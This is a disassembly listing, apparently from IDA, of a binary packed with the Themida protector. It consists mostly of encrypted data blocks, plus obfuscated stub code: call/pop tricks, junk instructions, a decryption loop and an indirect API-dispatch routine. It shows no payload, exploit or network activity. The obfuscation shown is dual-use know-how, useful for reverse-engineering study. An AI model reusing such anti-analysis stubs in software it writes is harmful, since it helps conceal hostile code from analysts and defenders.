		dd 0A13AAFFFh, 38AC54B2h, 0B882D825h, 61B14C3h,	0E0FFC503h
		dd 3AF5615Dh, 7B7D2D1Dh, 26957808h, 54900B5Ah, 38C60007h
		dd 14FE54BAh, 5E07A087h, 1F466608h, 7D801544h, 459B21A4h
		dd 58162A8Fh, 0B2437B1h, 5BDFA70Bh, 29E52359h, 7437F95Dh
		dd 7A8DF5C5h, 14E8h, 3467FA00h,	0CE9A0DFh, 8B849439h, 0B77ADC93h
		dd 56D60656h, 0E8536017h, 11h, 155B2CFEh, 0DC3B01E3h, 9304A602h
		dd 41A2F767h, 815B596Dh, 0B27A9AC9h, 0E95A6149h, 7, 0C7AC91C2h
		dd 819FC563h, 759EC2h, 0FFBF0F00h, 1D1D68h, 0E9F18100h
		dd 5B236D51h, 6E952h, 0B4180000h, 0F4615F19h, 0E932FF58h
		dd 12h,	7F78059Ch, 9CCC93BBh, 2ADCE35Ah, 11AE1A96h, 0B05E8116h
		dd 93EE8115h, 0F01AE9Fh, 1B81h,	9E96000h, 81000000h, 0DAFBD1B0h
		dd 9054F27h, 5E8h, 5FAA7E00h, 6158F6C8h, 0B0A2F681h, 0DF8119D8h
		dd 58AAFA10h, 0DA05F681h, 0F6043E9h, 0DE8BF0B7h, 8E85661h
		dd 0A7000000h, 0E01BD07Fh, 606CEBBDh, 890Fh, 0DE8B0000h
		dd 28F5961h, 5A5AF181h,	0EA815373h, 120F0BE9h, 8C0Fh, 0C2810000h
		dd 120F0BE5h, 0A502E081h, 0EB833FC5h, 0F850F01h, 66000000h
		dd 24E9C38Bh, 8D000000h, 4420C612h, 0A8BF89FCh,	0E9293BA8h
		dd 0FFFFFF49h, 0B58580D0h, 8044A4EBh, 12C2CE9h,	46B41F2Eh
		dd 0E9B0C733h, 4, 299E32E3h, 51AE9h, 3F729200h,	225B6CFBh
		dd 4B4641DEh, 732A58C7h, 9C1130AFh, 89391398h, 6403077Ah
		dd 7DEA2E67h, 55D25651h, 0D9B47833h, 8476C562h,	468D55EBh
		dd 36656742h, 3E0DAA05h, 0B553F092h, 1C6343D1h,	413C4BEDh
		dd 9D183649h, 0BAD15579h, 9253EE4Fh, 6CD053F0h,	0EE1E95B3h
		dd 0D1F3A86Ah, 0BE82828h, 2C50D009h, 4A41431Ch,	20B3C132h
		dd 5D848575h, 7D8E5DD7h, 453BE6F2h, 0F91D007Ah,	9BF685C1h
		dd 0F07D2F1Ah, 4EA0A453h, 0E55186F2h, 0E976BCDAh, 4A414382h
		dd 892D59C6h, 8D09017Ch, 5ACE719Bh, 20449687h, 4C4743DCh
		dd 6F26233Ch, 8904005Fh, 0A0DDEE71h, 3C53FCA8h,	0B1841A04h
		dd 0B0D4898Dh, 0D649A08Fh, 97453C9Eh, 0DB44FB1Dh, 603FF5B0h
		dd 7AE52964h, 84255548h, 53F030BAh, 7181E887h, 85952EABh
		dd 49CBh, 6567E100h, 9AA70636h,	9953F092h, 8D539FF6h, 2985948Ch
		dd 1, 37666787h, 65694C04h, 0CCD50BC0h,	0E8196646h, 0CCFA85B5h
		dd 0A4A3BAD1h, 0BF75D1E9h, 85EC4B0Fh, 0C4484546h, 0AE72295Bh
		dd 0C75887DDh, 0DC110D7Dh, 6867EC56h, 497A0535h, 27582754h
		dd 30C24676h, 92E94274h, 68F73D70h, 0CD562E01h,	0C4AB6828h
		dd 6A9936FCh, 0CA90437h, 53F07C3Dh, 0DDB1EC1Dh,	60FFBB79h
		dd 401F2F5Eh, 0ED304845h, 31CF0B62h, 0AD859579h, 0BFh
		dd 6BE647B2h, 0E853F076h, 67A4AE64h, 0C5C0CE68h, 171CA3B5h
		dd 0A7FB7C89h, 1D6C9F83h, 3C98B0EBh, 0EA45B6F6h, 0F090FE4Dh
		dd 3117553h, 3444414Ch,	34711D2Bh, 53F09005h, 6696BA9Eh
		dd 84B4E719h, 3A0017C0h, 0F31279D6h, 0DBA2D9D4h, 7EDAF2A9h
		dd 6463FCB4h, 37A21129h, 0F0905BF6h, 808FD853h,	7599FD0Dh
		dd 906AD946h, 65E953F0h, 0DBD2F0AFh, 59E835A0h,	0DA53F090h
		dd 0BD00BC76h, 0D8D3FF8Eh, 1C5EB55Ah, 85948CDEh, 64D8h
		dd 0B5F26D00h, 0AC0F6A86h, 71FB391Dh, 5356867h,	3B534E7Ah
		dd 77932524h, 9FE0183Ch, 55013974h, 0DF58D33Ah,	53F0926Ch
		dd 8B7F63E7h, 0E7E6254Ch, 67AC66AAh, 0A6073766h, 53F092A4h
		dd 539FF699h, 85948C8Dh, 0F0989BE9h, 0BCEC5FD8h, 0E367AC0Fh
		dd 0FC8AAD0Dh, 0BB536h,	6FDA0000h, 0FC773CEh, 868CF0ACh
		dd 266C679Ch, 0F0924AF9h, 484B6B53h, 0B497E360h, 20587CC0h
		dd 83852D5Fh, 73D4E408h, 335E6D84h, 0C6F87E8Dh,	3F9BB3D7h
		dd 9E6F171Bh, 1654D1EAh, 0EF49DC23h, 0E43A7390h, 79154B36h
		dd 8CBCA0F4h, 56DAD1F3h, 0B7C4B7C9h, 1968DB44h,	67EB55E4h
		dd 0AF9011ADh, 0A055E419h, 0BFC10017h, 0ADDF48CCh, 8FB1CEFEh
		dd 413AEC1Ch, 5D6F093Ah, 96F20A2Eh, 8598FF9Ch, 4BC9C4C6h
		dd 3B7294h, 63A34C79h, 0AEF04817h, 0E27D8DB1h, 399DADE0h
		dd 0FF5B1F15h, 8BA96031h, 10B4Dh, 0F682D200h, 0D8F3D51Ch
		dd 80E668AAh, 47E01B61h, 49DC90C7h, 5B245438h, 31AE7229h
		dd 136C9C0Fh, 1681BAF1h, 2D76065Eh, 69702BA9h, 55E4E2DAh
		dd 8F3FF559h, 0AFDFCEF0h, 0C3FBB2D0h, 75BDD4BBh, 6E9DF403h
		dd 5A2A215Ch, 0F33CC872h, 55E46D40h, 0D5A97FC3h, 0D2868C2Ch
		dd 0A8E1B866h, 3DC68Bh,	80D20000h, 43EC1F65h, 0D3F09290h
		dd 0AD68F853h, 1A6F0412h, 0B392A1A8h, 2D11D3F0h, 81B0F109h
		dd 0AED3F0B3h, 895CCA21h, 8FB1C8C3h, 0AA68EC1Ch, 0B3CD9C19h
		dd 20653F0h, 6E2CFEh, 804A0000h, 75E01B61h, 0F0921928h
		dd 7CB69A53h, 3865D043h, 53F09209h, 18C868Ah, 49DC6A45h
		dd 6A2521BEh, 1A29F652h, 344B4367h, 8979B12h, 524B7CF6h
		dd 0A19F1E2Eh, 0AA55E49Bh, 0C5C7066Dh, 0D33252D6h, 4727EE57h
		dd 0F317D450h, 0D8945FD8h, 0FB5F4FCFh, 138ABCC3h, 1A619CFBh
		dd 185B5E8h, 21056CF3h,	2687B4C0h, 45F4B153h, 0BA78BC80h
		dd 2ED9F48Bh, 2DAF5A84h, 0B8D0F4A1h, 0FDED65Ch,	88D74279h
		dd 8F0E0479h, 49DB33C4h, 49102B2Fh, 0D337473Ah,	0E81A6541h
		dd 0ABCE86B5h, 4EA1FAB0h, 7BE4AC66h, 0FB3A5249h, 0A476FAADh
		dd 13325936h, 0E976BAF1h, 0CB94A4D7h, 5AB5C6BDh, 50776EDDh
		dd 9361E566h, 2E45B413h, 7ABEED1Fh, 0A8A0DBEDh,	119Ah
		dd 1F8C1000h, 9D41B449h, 0F51414BCh, 0E00480B8h, 67672812h
		dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h
		dd 8EBCC3FBh, 6D98E717h, 46471830h, 681F2757h, 67CCh, 68241489h
		dd 3155h, 68240C89h, 29E0h, 57242C89h, 0E43C87BFh, 537CB94Eh
		dd 0C18154FFh, 3278723Ah, 0E981F929h, 3278723Ah, 4EC815Fh
		dd 89000000h, 4832424h,	505D0424h, 8B8h, 28000500h, 0E8016D79h
		dd 7928002Dh, 5808896Dh, 5D2434FFh, 4C481h, 34FF0000h
		dd 0C4835924h, 64DAE904h, 0A255FFF9h, 0F7A4EC67h, 0B8DD9D39h
		dd 61B1B9Bh, 0E0FFC503h, 43C8459h, 9907CD8h, 1FFA4786h
		dd 7738ADA6h, 5437EB80h, 406142FBh, 112791DBh, 1B2051BBh
		dd 808C54Fh, 719C8F49h,	7EA9D7A3h, 66743E7Ch, 59E6220Fh
		dd 8F9EEE8h, 4EE243B2h,	7FCC9A95h, 27775D85h, 3B85E048h
		dd 0ECBDCCDh, 29AB0989h, 63029EAAh, 77D757A0h, 5AB9D3CAh
		dd 4CA0A3F4h, 56CBEF7Ah, 6630F89Fh, 1AAAC771h, 1D4E8D8Dh
		dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6653ABC3h, 0BE013DBAh, 1020A66Bh
		dd 2B698D89h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 85C79EC3h, 6141055h, 7400h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 87C35141h, 41C50563h
		dd 20918EAEh, 1810F59h,	0F8000000h, 13D85C7h, 614h, 9D290000h
		dd 6141999h, 0D55B5FFh,	9D8B0614h, 6140EB1h, 0BD995FFh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 6AEBDAC3h, 7195FF00h, 8B061429h, 225BEBC0h
		dd 60B2888h, 0CD819B71h, 6B8D8548h, 9F52448Eh, 0C1C25299h
		dd 0C603AD5Eh, 0B2EBBBF7h, 0A48C34A6h, 0EB5D0F17h, 0A84574CCh
		dd 0EA601B50h, 795E35B8h, 3AE6EBBFh, 0F3355722h, 9666EDABh
		dd 0F3D5898Eh, 0CC0419CBh, 5682363Fh, 2F5B3E1Bh, 1EBDE525h
		dd 20ADBD5Ah, 0D991D965h, 8D8D0865h, 61B1E7Dh, 2DF5858Bh
		dd 8D890614h, 6142B69h,	8A0Fh, 85C70000h, 6141055h, 7448h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 59C35646h
		dd 0E5202D67h, 3D85C78Ah, 61401h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0B0A2C353h, 7C0B8E48h, 81ADDF57h, 9E3C7CF7h,	7E85025h
		dd 27000000h, 708F7DB7h, 8166F314h, 5AB3EBF2h, 1B5FF58h
		dd 6A061425h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6F68C350h, 2E8C36E1h, 0B58B70BCh
		dd 6142F29h, 95FFF08Bh,	6140BD9h, 2E1858Bh, 6A0614h, 297195FFh
		dd 0C08B0614h, 0E74E7DEBh, 0A31DC679h, 0AA8D8AF0h, 0E4CD65CCh
		dd 0C10FCBC9h, 452290E1h, 72B2DFB6h, 861F7020h,	0FB18AE43h
		dd 1D3AC373h, 0FD71108Fh, 8F0F12Bh, 8D10FB57h, 1D16C548h
		dd 0FDE14433h, 33DD645Bh, 80247884h, 0D18789h, 0F2F15DEDh
		dd 0EC499EACh, 939B3B46h, 1250E9ACh, 0B60C2ABh,	0D1B54B3Eh
		dd 77337646h, 0D9D8D231h, 366322CEh, 0DB8924Eh,	4845D4AFh
		dd 775FBF0Dh, 2390E8BDh, 0E8FF20C7h, 10h, 1C680256h, 2408E7E7h
		dd 0C107C750h, 31C9BAA9h, 36D08166h, 8B665F19h,	0F3C781F3h
		dd 8100005Fh, 459A89DEh, 51C93370h, 19158D29h, 8B5B0614h
		dd 0C28B0F14h, 0D8ABF281h, 0BF0F5E32h, 4EF281C2h, 0F6AF014h
		dd 285h, 8194B400h, 5BCEADF2h, 0DE903h,	8960000h, 2AF7FF0Dh
		dd 7AEFC43Fh, 529ABCF8h, 2ADD9D29h, 48F0614h, 0F1B5310Fh
		dd 6006141Bh, 51DEB70Fh, 49F5A7BAh, 83615B02h, 0DB8002E9h
		dd 2B494959h, 1402D185h, 0D0F98106h, 0FFFFFA0h,	0F85h
		dd 0F0B70F00h, 26E9h, 0E05C2B00h, 0A6DBD8F4h, 0AA4D081h
		dd 7CE91F58h, 91FFFFFFh, 158DB7B7h, 62D885A5h, 42112224h
		dd 78C933F0h, 8D2B87B3h, 1B20A18Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0C8AB97Bh
		dd 0DD8D8910h, 29061417h, 142C618Dh, 698D8906h,	6A06142Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A02BC357h, 18D50C45h, 0F7816688h, 85C7EA35h
		dd 6141055h, 6680h, 0B364BE66h,	13D85C7h, 614h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 2F4857C3h, 7C69D2E8h, 80A3CB0Dh, 0B5FF22CFh,	6140D09h
		dd 20199D8Bh, 5E90614h,	0CE000000h, 0E7226ACBh,	0BD995FFh
		dd 0DE90614h, 0C8000000h, 2467EA69h, 0BF3A5551h, 4A4020E2h
		dd 6ADF8Bh, 297195FFh, 0C08B0614h, 0FD1F4CEBh, 0F7543B39h
		dd 83A079E9h, 0B5D14238h, 9C65F51Fh, 0D733D67Dh, 0A11AAB0Ah
		dd 0F3651212h, 618B3DBh, 80D4ACB0h, 0C88E6D9h, 2D39E78Eh
		dd 352D7A32h, 27AC71B1h, 0EB8FFEE1h, 65509256h,	60886AC9h
		dd 704C9951h, 0B0FEE8ABh, 8D8D2634h, 61B21CAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 37C35242h, 890CD9B6h
		dd 94753ABh, 140C29B5h,	698D8906h, 6A06142Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0E824C356h, 25F9A571h, 6000934Fh, 0AE9h, 0BFC94000h
		dd 87E4D3BBh, 66B33D82h, 0ED15C981h, 9D896061h,	6142675h
		dd 0A7EB8166h, 85C76166h, 6141055h, 63D0h, 11719D2Bh, 85C70614h
		dd 614013Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5EFD2F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EFD2F	proc near		; CODE XREF: Themida_:005EFD27p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5EFD2F	endp

; ---------------------------------------------------------------------------
		mov	cl, 8Fh
		movzx	ebx, si
		push	dword ptr [ebp+6140E15h]
		mov	[ebp+6140B8Dh],	eax
		movzx	ebx, bx
		call	dword ptr [ebp+6140BD9h]
		sub	edx, [ebp+6140DB9h]
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5EFDCA
; ---------------------------------------------------------------------------
		db 9
		dd 0ACEDE973h, 15DCA483h, 6BEF5BFEh, 0BE9585A0h, 0F89187Ch
		dd 3273BC9Fh, 11929170h, 0DD8EA212h, 488ADDA5h,	0E4BCA268h
		dd 0B075231Eh, 98ABC025h, 2DD2E4C0h, 0C2B82DDh,	9560EC43h
		dd 7575B66Bh, 0A033B972h, 4235C4FDh, 37478EACh,	587D564Ch
		dd 0FC42653Bh, 5A2E42EFh, 7396952Dh
		db 8Ch,	55h
; ---------------------------------------------------------------------------


loc_5EFDCA:				; CODE XREF: Themida_:005EFD69j
		call	sub_5EFDE1
		and	dl, [eax+55h]
		xor	ebx, [ebx+esi*8+689B1260h]
; ---------------------------------------------------------------------------
		db 0FFh, 0F8h, 0CBh
		dd 0C36CFE6Ch
		db 7Dh

; =============== S U B	R O U T	I N E =======================================



sub_5EFDE1	proc near		; CODE XREF: Themida_:loc_5EFDCAp
		mov	edx, eax
		pop	esi
		cmc
		add	esi, 6E59h
		xor	bh, 0F5h
		mov	edi, 0
		jmp	loc_5EFE01
; ---------------------------------------------------------------------------
		dd 184982DBh, 8A4273CCh
		db 67h
; ---------------------------------------------------------------------------


loc_5EFE01:				; CODE XREF: sub_5EFDE1+12j
					; sub_5EFDE1+B3j
		mov	ecx, [esi+edi]
		cld
		add	ecx, 1187C1E9h
		pusha
		cmc
		sub	[ebp+6140899h],	edi
		popa
		add	ecx, 47CB2B7Fh
		mov	[ebp+61415FDh],	eax
		add	ecx, 0E0CB4E2h
		jmp	loc_5EFE37
; ---------------------------------------------------------------------------
		db 2Dh
		dd 608AE520h, 0DA15E043h
		db 0B1h, 0E8h, 74h
; ---------------------------------------------------------------------------


loc_5EFE37:				; CODE XREF: sub_5EFDE1+45j
		push	ecx
		mov	[ebp+6140CA9h],	edi
		pop	dword ptr [esi+edi]
		push	ebx
		xor	[ebp+6143435h],	edi
		pop	ebx
		and	bl, 3Dh
		sub	edi, 1142A483h
		mov	edx, 16296002h
		add	edi, 1142A47Fh
		mov	ebx, [ebp+6140C25h]
		cmp	edi, 0FFFF9274h
		jnz	loc_5EFE8E
		xor	[ebp+6141A11h],	eax
		jmp	loc_5EFEA0
; ---------------------------------------------------------------------------
		dw 8C8Bh
		dd 4A2831EDh, 2E3F743Eh, 52FE7A6Dh, 59F343E1h
		db 75h,	0AEh
; ---------------------------------------------------------------------------


loc_5EFE8E:				; CODE XREF: sub_5EFDE1+88j
		mov	[ebp+6142579h],	esi
		jmp	loc_5EFE01
; ---------------------------------------------------------------------------
		db 4Bh,	0C9h, 40h
		dd 98BA1E9Dh
; ---------------------------------------------------------------------------


loc_5EFEA0:				; CODE XREF: sub_5EFDE1+94j
		lea	ecx, [ebp+61B23B2h]
		push	0
		push	ebp
		call	sub_5EFEB1
		and	[ebp-3Dh], bl
sub_5EFDE1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5EFEB1	proc near		; CODE XREF: sub_5EFDE1+C8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5EFEB1	endp

; ---------------------------------------------------------------------------
		db 0DEh, 0D1h, 39h
		dd 6E967h, 3DF80000h, 0EBAFEA61h, 0BE9h, 51EFE100h, 29AD1C0Eh
		dd 0D64FA22Dh, 2B698D89h, 0BD890614h, 6141BE1h,	105585C7h
		dd 61240614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 8ABF52C3h, 0D3259552h, 68F0Fh, 0D2810000h
		dd 1C7EEFBAh, 13D85C7h,	614h, 0BD890000h, 6140945h, 2501B5FFh
		dd 0FFF80614h, 140BD995h, 97CA8106h, 6A491624h,	7195FF00h
		dd 8B061429h, 4F7DEBC0h, 4154294h, 8C79CD38h, 820977FBh
		dd 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 32428B75h, 950A4189h
		dd 0C24894CDh, 21935E0Fh, 0BE13BBFFh, 8F0B6FD2h, 0D638673Eh
		dd 0EEB07800h, 171F47E6h, 0D586D9E0h, 0DEF1F1DAh, 0D8849313h
		dd 0D9AD8CCBh, 903F96C9h, 0D9A02F70h, 729AFDC6h, 1C1F4658h
		dd 705FE20Ch, 7F74FEC4h, 7CC52E47h, 73C413C9h, 3B021BBAh
		dd 83F5B507h, 5BE3673Fh, 1BD83412h, 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5EFFD5	proc near		; CODE XREF: sub_406890+12Cp
					; sub_409BC0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61B2442h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5F012B
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 34E96D02h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6142B69h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0AAB6F4B9h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+6141055h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+614013Dh],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5F00EF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6140ECDh]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6142665h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+614129Dh]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6141D11h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+614080Dh]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6140D55h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6141C3Dh]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61411C9h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6140E1Dh]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6142389h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61404B1h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6142501h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6140061h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6140D09h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6140499h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6140E15h]
		jmp	loc_5F0103
; ---------------------------------------------------------------------------


loc_5F00EF:				; CODE XREF: sub_5EFFD5+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+61B24A3h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5F0103:				; CODE XREF: sub_5EFFD5+70j
					; sub_5EFFD5+7Bj ...
		call	dword ptr [ebp+6140BD9h]
		pop	ebx


loc_5F010A:				; CODE XREF: sub_5EFFD5+14Ej
		mov	eax, [ebp+6142B69h]
		cmp	[eax+4], ebx
		jnz	loc_5F0128
		push	ebx
		push	1
		call	dword ptr [ebp+6142971h]
		pop	ebx
		jmp	loc_5F010A
; ---------------------------------------------------------------------------


loc_5F0128:				; CODE XREF: sub_5EFFD5+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5F012B:				; CODE XREF: sub_5EFFD5+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5EFFD5	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp+6141239h]
		lea	ecx, [ebp+61B2591h]
		mov	[ecx+1], eax
		mov	eax, ebx
		jmp	loc_5F0179
; ---------------------------------------------------------------------------
		dw 0F8AFh
		dd 47D9h, 0Ah dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5F0179:				; CODE XREF: Themida_:005F0145j
		jmp	loc_5F06D7
; ---------------------------------------------------------------------------
		dw 8585h
		dd 6899060Ah, 5B76F135h, 3F4DDA5Eh, 2827C044h, 62AB175h
		dd 181C91B0h, 70B828Fh,	0ED316C98h, 0D95D5072h,	51E04DBCh
		dd 0D255EBB7h, 65677FA1h, 4A790636h, 3254D357h,	3E2D9589h
		dd 0FCE0FDB3h, 0E891B3CCh, 5A51E002h, 0A8E5E623h, 17686084h
		dd 0F57487F6h, 6F2A25D9h, 5DD7FB5Fh, 0B7F21E61h, 0D1CCF887h
		dd 2B428DB9h, 3D5403E7h, 4C7AFC0Eh, 0B9DD3951h,	0C012F282h
		dd 0DD22F439h, 0DA4CCE9Dh, 0E0E20F40h, 15399DADh, 7484F90Ah
		dd 25560210h, 5C6C2926h, 69653AF8h, 2691EA2Eh, 0F06B4AF9h
		dd 0CF45C953h, 81B9F410h, 0A4D4D1FEh, 70BD2823h, 53F06BC1h
		dd 0FD4CE942h, 7653F06Bh, 4724EE12h, 0BAF51130h, 5FD7E976h
		dd 0C7437B32h, 939EB651h, 62864357h, 0AFF51269h, 0F00E330Eh
		dd 0A8CCB053h, 67DB5A6Ah, 5C53F00Eh, 0D01E5CB3h, 2E859528h
		dd 0B87A315Fh, 57CFh, 6567E500h, 0B5C5C0CDh, 9C1D2D51h
		dd 53F092A3h, 5A98FF90h, 85948C94h, 122h, 66678E00h, 0CA90437h
		dd 53F0923Dh, 0DB54F014h, 764ADF93h, 81A5D8E9h,	0ECE4C76Fh
		dd 9E943553h, 7D30512Eh, 6B14324Dh, 0E39DC938h,	0E6163A0Fh
		dd 6F9EF5A2h, 7CEB2F5Eh, 5CF534Ah, 5356867h, 2454497Ah
		dd 1F2E45F2h, 0EE79BDF0h, 0D6A9A1DCh, 73CEFEBBh, 0BF7D7D94h
		dd 0FF85948Ah, 6410238Ch, 4B31AC0Fh, 532F5800h,	728084F8h
		dd 95F1h, 0C5C78600h, 433E49D6h, 0C345CF4Bh, 6356867h
		dd 0DD574647h, 36739EE1h, 4C494605h, 29A2E6C6h,	0BE029D5Bh
		dd 0A0805CBh, 0D0FF0E65h, 5B2259DDh, 5808C2Eh, 0A76DE9E1h
		dd 94A4D9E8h, 113DBDCBh, 0FEE26696h, 66D552CDh,	0FD53F0F8h
		dd 6838E99h, 248092F6h,	4177E99h, 0CA484345h, 94F50826h
		dd 1A373685h, 0F2182B74h, 0B79B53F0h, 4EE68193h, 32000000h
		dd 0AC9F188Bh, 8C53F092h, 0CEB2067Fh, 5789744h,	235E6AF5h
		dd 0B9D07F2Bh, 2067B8Ah, 0DCD1F289h, 188BEC56h,	0F092AC9Fh
		dd 0D1232753h, 6494093Ah, 0F09279C5h, 42A94653h, 337CEFh
		dd 8353F092h, 479575BFh, 5785948Ch, 1, 316C675Dh, 0B2444619h
		dd 0C0F81C91h, 4281E847h, 1893B147h, 0E85B30F4h, 0F092FC4Fh
		dd 1137753h, 0B7D35CADh, 6B2223FCh, 0B8D3F753h,	0DC623F7Fh
		dd 3F4C3049h, 9DD063CCh, 0F85355E4h, 0E49D8CBFh, 1F030755h
		dd 7E8EFF00h, 0D3AC181Ah, 4536FAB1h, 8B890406h,	100B2D4h
		dd 0F4187C8Ch, 9DD865C4h, 0A4D355E4h, 910C3E4Dh, 5D6FFE8Dh
		dd 78BA1E2Eh, 0D2EAA1A3h, 0B007B8Dh, 20D90B7Dh,	0DC560B0Dh
		dd 729936E0h, 417A3153h, 4FFA49D6h, 157955E4h, 31FF5B1Fh
		dd 4D8BA969h, 15Ah, 1B61806Bh, 90C747E0h, 543849DCh, 72295B24h
		dd 670F31AEh, 81053568h, 0F0126D9Dh, 0F9B4D3AAh, 350445C1h
		dd 4E55E490h, 6096A6CAh, 7B8DBCD3h, 8A50FC00h, 0D48BA88Eh
		dd 0FB397495h, 4E08h, 0F48BA400h, 27A3DBD2h, 400CD9EDh
		dd 9B12344Bh, 922DE763h, 0F0924615h, 0CE6FDAD3h, 0D3F09273h
		dd 62868CF0h, 892CEECh,	0F0FB9CAFh, 0FD3317D3h,	3D212466h
		dd 0D89DAC0Dh, 0D5BAD3F0h, 0F79D68BEh, 0D8885BC4h, 0C74B53F0h
		dd 0CCE943h, 8B070000h,	92AC9F18h, 232753F0h, 6F0CDDD1h
		dd 0F09273CEh, 688CF053h, 80FD0C53h, 32F43172h,	0CB49DC6Ah
		dd 85C43747h, 48070D88h, 24C34736h, 0C3759022h,	55B1C9C4h
		dd 99BD1931h, 9B7CC061h, 335E55E4h, 8394676h, 4B36595h
		dd 7AD125EDh, 78AEE5E3h, 9051D2E2h, 2AB143C8h, 3D1868C3h
		dd 428F94B1h, 1335EA28h, 98E79498h, 0CDE1336Ah,	0F233483Ch
		dd 4FCFDFFDh, 65FA1276h, 4C132863h, 0CF4B433Ah,	0E7E67945h
		dd 0BCCD92AAh, 0D24DC9C1h, 649C08B7h, 1543CE37h, 0CD6AD9F1h
		dd 5FDF267Eh, 903F91F5h, 0AF8EB179h, 3D7AD548h,	5FDF260Eh
		dd 3B738185h, 0D7ADDEAAh, 9C88D4ABh, 7C4FC506h,	0F4ACBA33h
		dd 3A513545h, 0A56F2623h, 618027EDh, 6D99E01Bh,	66C7E032h
		dd 49DB7451h, 0F18EBE82h, 2358DCCFh, 7E8D2F5Ch,	2001F03h
		dd 0B0D2898Bh, 1A9B0906h, 55EBB42Fh, 98BCA0A4h,	8767C160h
		dd 7F0C93A8h, 7CBF57E9h, 858F4EDEh, 4E708FE6h, 3A4CDB5Fh
		dd 16344B43h, 9E86F9Fh,	0EAA1A3E2h, 0A3966D1h, 89142DF6h
		dd 5CCB8F85h, 0E85B732Ah, 0FB397491h, 1969h, 0F48B8700h
		dd 28ACDCD9h, 1E6DDEEAh, 2B98B0EDh, 0F092BF8Ah,	2C503453h
		dd 67677CE6h, 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h
		dd 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h,	681F2757h
		dd 338Bh, 68243C89h, 239Fh, 68240489h, 5EEh, 53241C89h
		dd 25E2B951h, 0CB89061Bh, 5BD88959h, 241C8B54h,	4C481h
		dd 97680000h, 89000022h, 438F2404h, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
